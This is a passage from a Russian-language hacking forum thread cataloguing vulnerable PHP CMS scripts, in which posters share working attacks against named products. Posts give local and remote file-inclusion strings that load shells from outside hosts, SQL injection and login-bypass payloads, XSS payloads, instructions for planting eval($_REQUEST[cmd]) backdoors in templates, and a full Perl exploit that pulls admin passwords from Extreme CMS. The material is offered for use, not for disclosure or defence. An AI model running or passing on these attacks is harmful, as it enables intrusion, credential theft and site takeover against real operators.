Энциклопедия уязвимых скриптов

Discussion in 'Веб-уязвимости' started by DIAgen, 1 Jun 2006.

  1. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Product: Mini-CWB CMS
    Author: GraFX Software Solutions (GPL)
    Version: 2.1.1

    LFI

    file: all (!)

    PHP:
    if (!isset($_SESSION['session_lang']))
        {
            
    $session_lang $LANG;
            
    $_SESSION['session_lang']=$session_lang;
        }
        else
             
    $session_lang=$_SESSION['session_lang'];
        include_once(
    INDEX_PATH."cls_fast_template.php");
        
    $NEWLANG $session_lang;
        include_once(
    INCLUDE_LANGUAGE_PATH.$NEWLANG.".inc.php"); // а вот и инклуд.
    target: Создаем запрос,где подменяем параметр сесии с названием session_lang на запрос инклуда файла.Пример: session_lang=file.php%00
    MQ=off, ../ не фильтруеться.
     
    #221 m0Hze, 21 Nov 2009
    Last edited: 21 Nov 2009
  2. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Product: F3Site
    Author: unnamed
    Version: 2009

    LFI

    file: index.php

    PHP:
    if(file_exists('./mod/'.$_GET['co'].'.php'))
        {
            (include 
    './mod/'.$_GET['co'].'.php') OR $content->set404();
        }
        elseif(
    file_exists('./plugins/'.$_GET['co'].'/default.php'))
        {
            (include 
    './plugins/'.$_GET['co'].'/default.php') OR $content->set404();
        }
    target: index.php?co=../../hello.php%00
    mq=off
    Thx, jokester!
    извиняюсь,это только на моем сервере нужна кавычка.
     
    #222 m0Hze, 21 Nov 2009
    Last edited: 21 Nov 2009
    1 person likes this.
  3. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    FACIL CMS

    Local File Include in modules.php:

    PHP:
    ...
    $_MODLOAD trim($_GET['modload']);
    ...
    if(
    file_exists(_FACIL_MODULES_PATH_ '/' $_MODLOAD '/index.php'))
         {
             require_once(
    _FACIL_MODULES_PATH_ '/' $_MODLOAD '/i18n/lang-' $_SESSION['FACIL_LANGUAGE'] . '.php');
    ...
    PoC:

    Code:
    http://localhost/facil/modules.php?modload=existing_dir/../../../FILE//////////[...]
    phpinfo file:

    Code:
    http://localhost/facil/phpinfo.php
     
    #223 Ins3t, 21 Nov 2009
    Last edited: 21 Nov 2009
  4. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Product: Plume CMS
    Author: unnamed
    Version: 1.2.3

    RFI

    file: prepend.php
    PHP:
    if (basename($_SERVER['SCRIPT_NAME']) == 'prepend.php') exit;

    include_once 
    $_PX_config['manager_path'].'/conf/config.php';
    include_once 
    $_PX_config['manager_path'].'/inc/class.config.php';
    include_once 
    $_PX_config['manager_path'].'/inc/lib.text.php';
    include_once 
    $_PX_config['manager_path'].'/inc/class.hook.php';
    include_once 
    $_PX_config['manager_path'].'/inc/class.dispatcher.php';
    include_once 
    $_PX_config['manager_path'].'/inc/class.rss.php';
    include_once 
    $_PX_config['manager_path'].'/inc/class.search.php';
    include_once 
    $_PX_config['manager_path'].'/inc/class.error404.php';
    include_once 
    $_PX_config['manager_path'].'/inc/class.category.php';
    include_once 
    $_PX_config['manager_path'].'/inc/class.resource.php';
    include_once 
    $_PX_config['manager_path'].'/inc/class.news.php';
    include_once 
    $_PX_config['manager_path'].'/inc/class.article.php';
    include_once 
    $_PX_config['manager_path'].'/inc/class.resourceset.php';
    include_once 
    $_PX_config['manager_path'].'/inc/lib.frontend.php';
    include_once 
    $_PX_config['manager_path'].'/inc/lib.sql.php';
    include_once 
    $_PX_config['manager_path'].'/inc/class.paginator.php';
    include_once 
    $_PX_config['manager_path'].'/inc/class.cache.php';
    include_once 
    $_PX_config['manager_path'].'/inc/class.sitemap.php';
    include_once 
    $_PX_config['manager_path'].'/inc/class.l10n.php';
    Как видим,есть защита:
    PHP:
    if (basename($_SERVER['SCRIPT_NAME']) == 'prepend.php') exit;
    Если обратиться к этому скрипту напрямую,он просто прекратит работу.
    Но авторы не учли маленькую вещь,регистр.Легкий и изящный обход:


    target: prepend.PhP?_PX_config[manager_path]=http://site.ru/shell.txt%00

    Просто меняем регистр у расширения,и проверка уже не срабатывает.Следует отметить,что наш файл заинклудиться стопицот раз,так что в своем шеле пишем,в самом конце, Exit(); Таким образом,предотвратиться инклуд остальных шелов.
    Важно! Необходимо registers_global = on


    Iceangel_: Не все требования указал к этой баге, подумай...
     
    #224 m0Hze, 21 Nov 2009
    Last edited by a moderator: 22 Nov 2009
    5 people like this.
  5. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    CMS AVA LIFE

    Активная XSS:
    Отправляем на сервер HTTP запрос. Добавляем к одному из Header'ов (В середине где нибудь)
    А администратора сайта в Статистике сработает скрипт.
     
    4 people like this.
  6. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Free Arcade Script v2.0rc1

    Local File Include in index.php:
    register_globals = ON


    PHP:
    ...
    include (
    'includes/core.php');
    ...
    default: 
        include (
    'templates/'.$template.'/base_home.php'); 
        include (
    'includes/defaultsubmenu.php'); 
        include (
    'includes/defaultsubmenu2.php');
        break;
    ...
    In core.php:

    PHP:
    ...
    if(
    $_GET['template']){
        exit(
    'N00B.');
    }
    ...
    $template $set['template'];
    ...
    Теперь говоря по русски: это у них типа защита такая, то есть они пушут, что если передано $_GET['template'], то выводится сообщение "Нуб" :D

    Но после этого они написали:
    PHP:
    $template $set['template'];
    И открыли нам путь к инклуду:

    Code:
    http://localhost/11/index.php?set[template]=../../FILE%00
    Но по сути
    PHP:
    if($_GET['template']){
        exit(
    'N00B.');
    }
    Так же очень просто обходится, достаточно передать template через POST или COOKIE ;)
     
    3 people like this.
  7. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Название: ClanSphere
    Версия: 2009.0.2

    Пассивная XSS:
    http://chat/index.php?mod=awards&action=list&start=0&sort=2"><script>alert();</script>

    Раскрытие путей:

    http://chat/mods/gallery/image.php?pic=1&size=9999999999999999999999999999
    http://chat/mods/gallery/image.php?pic=1&size[]=9
     
    1 person likes this.
  8. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    Extreme CMS 0.9 SQL Injection Exploit

    Extreme CMS 0.9

    SQL Injection

    Vuln file: /calendar/show.php
    PHP:
        ...  ...  ...  ...  ...
    $id $_GET['event']; // from clicked day
    $sho $_GET['sho']; // display method
    $query "SELECT * FROM calendar WHERE id = '$id' "// retrieves ONE record
    $result mysql_query($query); 
    $myrow mysql_fetch_array($result);
    $ev_1 $myrow['ev_dat']; // is date for that record (allows multiple events selection)

    $found $myrow['ev_dat'];
    $pieces explode("-"$ev_1);
    $monum intval($pieces[1]);

    $query "SELECT * from calendar WHERE ev_dat = '$ev_1' "// retrieves ALL date matches
    $result mysql_query($query); 
    echo
    "<table width='480' 'cellpadding='3' cellspacing='3' align='center' style='border: thin dotted #cccccc;' bgcolor='#f7f7f7'><tr><td>";
    echo 
    "<h2>"$mo[$monum]. " "intval($pieces[2]). ", "intval($pieces[0]). "</h2>";
        ...  ...  ...  ...  ...
    Не какой фильтрации входящих данных нет. Есть одно но... результат sql запроса обрабатывается intval'ом.
    Для обхода intval (если это можно назвать обходом :)) и упрощения вывода написал эксплойт

    Exploit:
    Code:
    #!/usr/bin/perl
    #-----------------------------------------
    #  Extreme CMS 0.9 SQL Injection Exploit 
    #-----------------------------------------
    # Download Script : http://sourceforge.net/projects/extremecms
    #
    # Author          : RulleR aka Pin4eG                 
    # Contact         : rull3rrr[at]gmail[dot]com            
    # Visit           : forum.antichat.ru
    #-----------------------------------------
    
    use LWP;
    use Fcntl;
    
    #________________ CONFIG _______________
    
    $vuln = '/calendar/show.php?event=';
    $length = 40;
    $column_name = 'password';
    $table_name = 'auth';
    $id = 1; # user id
    $regexp = '<h2> 0, (.*)<\/h2>';
    $filename = 'Exp_result.txt';
    #_______________________________________
    
    
    
    $title = "
    
    [*]==================================[*]
    !                                      !
    !  Extreme CMS SQL Injection Exploit   !
    !                                      !
    !          Found && coded by RulleR    !
    !                                      !
    
    [*]==================================[*]
    ";
    print $title;
    print "\n[+] Enter Host: ";
    chop ($host = <>);
    print "\n[>] Exploiting started... $host\n";
    
    for ($start = 1; $start<=$length; $start++) {
    	$inj = '-1%27+union+select+null,ord(substr((select+'.$column_name.'+from+'.$table_name.'+where+id='.$id.'),'.$start.',1)),null,null,null+--+';
    	$req = $host.$vuln.$inj;
    	$cont = &WebGet($req);
    	$cont =~ /$regexp/;
    	last if (!$1);
    	$char = chr($1);
    	push (@res, $char);
    }
    
    print "\n------------- [Result] --------------\n";
    print @res;
    print "\n-------------------------------------\n";
    print "\n[!] Exploiting finished :)\n";
    sysopen (RESULT, $filename, O_WRONLY | O_CREAT);
    print RESULT $title;
    print RESULT "\n------------- [Result] --------------\n";
    print RESULT @res; 
    print RESULT "\n-------------------------------------\n";
    close (RESULT);
    print "\nResult saving in $filename\n";
    
    sub WebGet() {
        $url = $_[0];
    	$request = HTTP::Request->new(GET => $url);
    	$u_a = LWP::UserAgent->new();
    	$u_a->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
    	$u_a->timeout(5);
    	$response = $u_a->request($request);
    	if ($response->is_error) {
    	    print " ! Error: ".$response->status_line.".\n"; die " :(\n";
    	}
        return $response->content;
    }
    
    securityreason.com
    Для успешной эксплуатации необходимо:
    magic quotes = Off

    © RulleR aka Pin4eG
     
    3 people like this.
  9. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    phpKB <= 2.0 auth bypass
    /admin/
    login: asd' OR 1=1 -- -
    pass: asdasd

    Сам движок скачать не удалось, поэтому зависимости и уязвимый кусок кода не привожу.
     
    2 people like this.
  10. Bb0y

    Bb0y Active Member

    Joined:
    30 Oct 2009
    Messages:
    116
    Likes Received:
    136
    Reputations:
    78
    Kasseler CMS 1.3.4 Lite
    XSS пассивная:
    http://localhost/dir/index.php?module=[target]&do="><script>alert();</script>
    -------------------------------------------------------------------
    http://localhost/dir/index.php?module=[target]&do=View&id="><script>alert();</script>
    XSS пассивная:
    http://localhost/dir/index.php?module=[target]&do="><script>alert();</script>
    XSS пассивная:
    http://localhost/dir/index.php?module=Account&do=UserInfo&uname="><script>alert();</script>
     
    2 people like this.
  11. Bb0y

    Bb0y Active Member

    Joined:
    30 Oct 2009
    Messages:
    116
    Likes Received:
    136
    Reputations:
    78
    CubeCart 4.3.0
    Активная xss:

    http://[localhost]/index.php?_a=profile
    в редактировании профиля.
    В поля:
    Название Компании
    Город

    вписываем:
    и сохраняем. При просмотре профилей и заказов администратором код выполнится.
    SQL injection:

    exploit:
    в результате инъекции ошибка хоть и пишется, но данные все - равно выходят.
    Пример:
    Раскрытие путей:
    http://[localhost]/index.php?_a=viewProd&productId[]=1
    Локальный инклуд:
    http://[localhost]/admin.php?_g=../../../giftCertificates
    файл должен быть вида: [file_name].inc.php - особо не разбирался, видимо надо баловаться с нулл - байтом.
     
    #231 Bb0y, 30 Nov 2009
    Last edited: 30 Nov 2009
    6 people like this.
  12. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Product: SphereCMS
    Author: http://sphere.xlentprojects.se/
    Version: 1.0.2 beta

    SQL-inj

    file: comments.php
    PHP:
    if (isset($_GET['id'])) {
        
    $query $XlentCMS->query_select("xcms_news"" WHERE id='" $_GET['id'] . "'");
        
    $news $XlentCMS->fetch($query);
        
    $content .= "
    <div class='post' id='post-8'>
        <div class='date'><span>" 
    $news['date_month']
    ....
    // сам метод:
    function query_select($table$conditions=""){
            
    $query mysql_query("SELECT * FROM ".$table.$conditions) or $this->error(mysql_error()); 
            return 
    $query;
        }

    target: ?id=1'+union+select+1,version(),3,4,5,6,7/*

    file: downloads.php
    PHP:
    if(isset($_GET['cat'])){
    $result mysql_query("SELECT * FROM xcms_downloads WHERE category=".$_GET['cat']." ORDER By id DESC") or die(mysql_error()); 
    target: ?cat=-1+union+select+1,2,3,4,version(),6,7,8,9/*

    file: archive.php
    PHP:
    $result mysql_query("SELECT * FROM xcms_archive WHERE id='".$_GET['view']."'") or die(mysql_error());  
    $archive mysql_fetch_array($result);
    target: ?view=1'+union+select+1,2,version(),4,5,6/*

    file: /forum/view_topic.php
    PHP:
    $topic $XlentCMS->query_select("xcms_forum_topics"" WHERE id='".$_GET['view']."'");
    $topic $XlentCMS->fetch($topic);
    target: ?view=1'+union+select+1,2,3,version(),5,6/*

    file: /forum/view_post.php
    PHP:
    $select $XlentCMS->query_select("xcms_forum_posts"" WHERE topic_id='".$_GET['view']."'");
    target: ?view=1'+union+select+1,2,3,version(),5,6,7/*
     
    #232 m0Hze, 1 Dec 2009
    Last edited: 1 Dec 2009
    7 people like this.
  13. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Product: WebSpell
    Author: http://webspell.org
    Version: 4.2.1 beta

    /*Тут уже публиковалось раньше под эту CMS несколько дыр,но с обновлением их убрали.Файлов много,а вот нарыл немного*/


    SLQ-inj

    file: newsletter.php
    PHP:
    elseif($action=="delete") {
    $ergebnis safe_query("SELECT pass FROM ".PREFIX."newsletter WHERE email='".$_POST['email']."'");
    ...
    elseif(
    $action=="forgot") {
        
    $ergebnis safe_query("SELECT pass FROM ".PREFIX."newsletter WHERE email='".$_POST['email']."'");
    target: ?action=delete&email=1'+union+select+1,2,3,4,5,6,7,8/*

    file: faq.php
    PHP:
    $faqcatID $_GET['faqcatID'];
        
    $get safe_query("SELECT faqcatname FROM ".PREFIX."faq_categories WHERE faqcatID='".$faqcatID."'");
        
    $dc mysql_fetch_assoc($get);
        
    $faqcatname $dc['faqcatname'];
    target: ?faqcatID=1'+union+select+1,2,3,4,5,6,7/*
     
    #233 m0Hze, 1 Dec 2009
    Last edited: 1 Dec 2009
  14. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Textpattern 4.2.0 тут скачать

    Eval
    доступ к бд и права редактирования.
    Это если других способов заливки нету, то читаем дальше...

    PHP:
    publish.php
    ...
            
    $html safe_field('user_html','txp_page',"name='".doSlash($pretext['page'])."'"false);
            if (!
    $html)
                
    txp_die(gTxt('unknown_section'), '404');

            
    // useful for clean urls with error-handlers
            
    txp_status_header('200 OK');

            
    trace_add('['.gTxt('page').': '.$pretext['page'].']');
            
    set_error_handler("tagErrorHandler");
            
    $pretext['secondpass'] = false;
            
    $html parse($html);
            
    $pretext['secondpass'] = true;
            
    trace_add('[ ~~~ '.gTxt('secondpass').' ~~~ ]');
            
    $html parse($html); // the function so nice, he ran it twice
            
    if ($prefs['allow_page_php_scripting']) $html evalString($html);
    ...        
        function 
    evalString($html)
        {
            global 
    $prefs;
            if (
    strpos($htmlchr(60).'?php') !== false) {
                
    trigger_error(gTxt('raw_php_deprecated'), E_USER_WARNING);
                if (!empty(
    $prefs['allow_raw_php_scripting']))
                    
    $html = eval(' ?'.chr(62).$html.chr(60).'?php ');
                else
                    
    trigger_error(gTxt('raw_php_disabled'), E_USER_WARNING);
            }
            return 
    $html;
        }
    ...
    если есть доступ к бд то редактируем
    таблица textpattern_txp_page ---> поле default
    вписываем <txp:php> eval($_REQUEST[ev]); </txp:php>
    и имеем выполнение кода.
    http://textpattern/?ev=phpinfo();
     
    2 people like this.
  15. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Product: Splash Frog CMS
    Author: http://www.twinleafstudios.net/
    Version: 2.0.1

    LFI


    file: details.php
    /*треуються права админа*/
    PHP:
    function main_content() {
        if(empty(
    $_GET['sec']))
        { 
    header("Location: main.php"); exit; }

        if(!empty(
    $_SESSION['SplashFrog_ViewSite'])) {
            if((
    $_SESSION['SplashFrog_SiteAdmin'] != '1') && (!in_array($_SESSION['SplashFrog_ViewSite'], $_SESSION['SplashFrog_SiteID'])))
            { echo 
    '<p class="error">You do not have permission to view this site.</p>'; return; }
        }
        
        if(
    file_exists("section/".$_GET['sec'].".php"))
        { include_once(
    "section/".$_GET['sec'].".php"); }
        else
        { echo 
    '<p class="error">Unable to access the selected section.</p>'; }
    }
    PHP:
        <?php if(function_exists(main_content)) { echo main_content(); } ?>
    target: ?sec=../../../file.php%00

    /*без прав админа*/
    file: details.php

    PHP:
    function main_submenu() {
        if(
    file_exists("submenu/".$_GET['sec'].".php"))
        { include_once(
    "submenu/".$_GET['sec'].".php"); }
    }
    Вызываеться в файле:

    file: /template/tmpl2.php
    PHP:
    <?php if(function_exists(main_submenu)) { echo main_submenu(); } ?>
    target: ?sec=../../../file.php$00

    XSS

    В папке /forms/ уязвим почти каждый файл.пример:

    file: /forms/admin/admin.php
    PHP:
    <input type="hidden" name="adminID" value="<?=$_POST['adminID'];?>" />
        <input type="hidden" name="curUsername" id="curUsername" value="<?=$_POST['username'];?>" />
        <input type="hidden" name="curEmail" id="curEmail" value="<?=$_POST['email'];?>" />
    target: {POST} ?username="><script>alert('hacker');</script>
     
    6 people like this.
  16. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Product: CruXCMS
    Author: http://www.cruxsoftware.co.uk/
    Version: 3.0.0

    Я незнаю как это назвать,это даже не уязвимость,а скорее эдакая бага, "подлянка" админам.
    Суть в том,что можно переименовывать скрипты на сервере в произвольные имена.А именно:

    file:
    /manager/rename.php
    PHP:
    if (isset($_GET['Nameold'])) {
    $Nameold $_GET['Nameold'];
    }
    if (isset(
    $_POST['Show'])) {
    $Show $_POST['Show'];
    }
    if (isset(
    $_GET['Show'])) {
    $Show $_GET['Show'];
    }
    if (isset(
    $_POST['Namenew'])) {
    $Namenew preventinjection($_POST['Namenew']);
    ....
    if (!
    rename($linkold$linknew)) {
    echo 
    "<h1>Renaming of $Nameold has failed, please check folder permissions<br> and that a
    file with that name doesn't already exist</h1>"
    ;
    }
    ..
    функция preventinjection - чекает на кавычки.

    target: /manager/rename.php?Nameold=index.php&Namenew=2674624624fff&Show=Finished
    После этого скрипты index.php будет переименован в 2674624624fff.php
    Вот так вот,мучаем админов :eek:
     
    #236 m0Hze, 9 Dec 2009
    Last edited: 9 Dec 2009
    2 people like this.
  17. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Product: DmcCMS
    Author: http://sourceforge.net/projects/dmcms/
    Version: 0.7.6

    LFI

    Пришлось немножко подумать,над тем как тут провернуть LFI, мой сонный мозг выдал мне этот вариант.Итак вот он:
    /*Для реализации необходим register_globals = ON */
    file: user_language.php

    PHP:
    if (!isset($_COOKIE["deeemm_language"])) {
      
    $language '1';
      
    session_start();
      
    $_SESSION['language'] = $language;
      
    header("Cache-control: private"); //IE6 session control fix
      
    header('P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"'); //bypass 3rd party policy
      
    setcookie("deeemm_language" ,$language ,time()+60*60*12*365 );
    }
      elseif (isset(
    $_COOKIE["deeemm_language"])) {
      
    session_start();
      
    header("Cache-control: private"); //IE6 session control fix
      
    $language $_COOKIE["deeemm_language"];
    }
    ....
    $sql_query mysql_query("SELECT * FROM `" $db_table_prefix "admin` WHERE `id` = 0");
      while(
    $sql_result mysql_fetch_array($sql_query)) {
        
    $language_1_flag $sql_result[language_1_flag];
        
    $language_2_flag $sql_result[language_2_flag];
        
    $language_3_flag $sql_result[language_3_flag];
        
    $language_4_flag $sql_result[language_4_flag];
      }
    ...
    $language_file 'language/' . ${'language_' $language} . '.php';
    require 
    $language_file;
    target: Отправляем запрос, где:

    Code:
    GET target/user_language.php?[COLOR=Red][B]language_666=../../LFI[/B][/COLOR] HTTP/1.1
    Host: target.com
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
    Keep-Alive: 300
    Connection: keep-alive
    Cookie: [COLOR=Red]deeemm_language=666;[/COLOR]
    Cache-Control: max-age=0
    
    
    Ну вот и все,получаем инклуд файла,в переменной: language_666.
    Вроде бы правильно все,не пинать,спать хочу очень :) Если что,поправьте я утром исправлю сообщение.
    /*PS: на сегодня ставил задачу как можно больше разобраться в лфи\рфи,поэтому концентрировал все внимание на инклудах.Завтра еще раз просмотрю эти движки,и если будет что-то еще - добавлю.Споки ноки*/
     
    #237 m0Hze, 9 Dec 2009
    Last edited: 9 Dec 2009
    4 people like this.
  18. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Product: DBHCMS - Web Content Management System
    Author: http://www.drbenhur.com/
    Version: 1.1.4

    RFI



    /*Необходимо register_globals = ON and allow_url_include = ON без второго юзаеться как LFI*/
    file: index.php
    PHP:
    function dbhcms_init($core) {
            
    $init  $core.'init.php';
            
    $page  $core.'page.php';
            if ((
    is_file($init))&&(is_file($page))) {
                require_once(
    $init);
                require_once(
    $page);
            } else {
                die(
    '<div style="color: #872626; font-weight: bold;">
                            FATAL ERROR - Could not find the initialzation files. 
                            Please check the "$dbhcms_core_dir" parameter in the "config.php" and make 
                            shure the directory is correct.
                        </div>'
    );
            }
        }
    ......
    dbhcms_init($GLOBALS['dbhcms_core_dir']);

    target:
    ?dbhcms_core_dir=http://site.com/shell.txt%00
     
    2 people like this.
  19. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    в дополнение к классной статье Spyder в ноябрьском ][:

    InstantCMS v1.5.2

    В статье описывается, как залить шелл через встроенный дампер БД в админке, есть еще способ:

    - редактирование файла ../templates/_default_/template.php прямо в админке:

    Слева снизу - изменить настроки->дизайн->выбираем шаблон->Редактировать PHP

    вписываем свой код:

    if (isset($_REQUEST[cmd])) eval(stripslashes($_REQUEST[cmd]));

    и по ссылке http://site.ru/index.php?cmd=phpinfo(); получаем практически готовый шелл
     
    3 people like this.
  20. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Product: Ovidentia CMS
    Author: http://Ovidentia.org
    Version: 6.x.x <= 7.1.7

    RFI
    Need: register_globals = ON allow_url_include = ON

    file: /ovidentia/selector.php
    PHP:
    require_once $GLOBALS['babInstallPath'] . 'utilit/uiutil.php';
    require_once 
    $GLOBALS['babInstallPath'] . 'utilit/tree.php';
    target: ?babInstallPath=http://site.com/shell.txt%00
    or
    ?babInstallPath=../../localfile.php%00


    file: /ovidentia/statfaq.php
    PHP:
    include_once $babInstallPath.'utilit/statutil.php';
    include_once 
    $babInstallPath.'utilit/uiutil.php';
    target: ?babInstallPath=http://site.com/shell.txt%00
    or
    ?babInstallPath=../../localfile.php%00


    Выполнение произвольного кода!

    Если allow_url_include = ON, то делаем запрос вида:
    target: data:,<?php eval($_REQUEST[cmd]); ?>&cmd=phpinfo();
    На выходе phpinfo();
    Спасибо Ctacok
     
    #240 m0Hze, 9 Dec 2009
    Last edited: 11 Dec 2009
    4 people like this.